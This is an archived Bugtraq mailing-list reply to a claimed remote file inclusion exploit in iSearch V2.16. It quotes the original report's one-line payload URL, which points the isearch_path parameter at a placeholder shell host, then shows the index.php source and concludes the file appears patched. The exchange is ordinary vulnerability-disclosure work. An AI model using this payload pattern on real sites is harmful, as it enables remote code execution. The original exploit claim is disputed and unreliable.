bugtraq - Re: The latest version of iSearch is V2.16 <= (index.php) Remote File Inclusion Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Mon, 9 Oct 2006 14:32:50 -0500
From: str0ke <str0ke@...w0rm.com>
To: "xp1o@....com" <xp1o@....com>
Cc: bugtraq@...urityfocus.com
Subject: Re: The latest version of iSearch is V2.16 <= (index.php) Remote File Inclusion Exploit

On 7 Oct 2006 22:14:00 -0000, xp1o@....com <xp1o@....com> wrote:
> #The latest version of iSearch is V2.16 <=  (index.php) Remote File Inclusion Exploit
> #Vlu Code :
> #
> #htpp://sitename.com/[scerpitPath]/index.php?isearch_path=http://SHELLURL.COM


$isearch_path = dirname(__FILE__);
define('IN_ISEARCH', true);

require_once "$isearch_path/inc/core.inc.php";
require_once "$isearch_path/inc/search.inc.php";

index.php seems patched to me.

/str0ke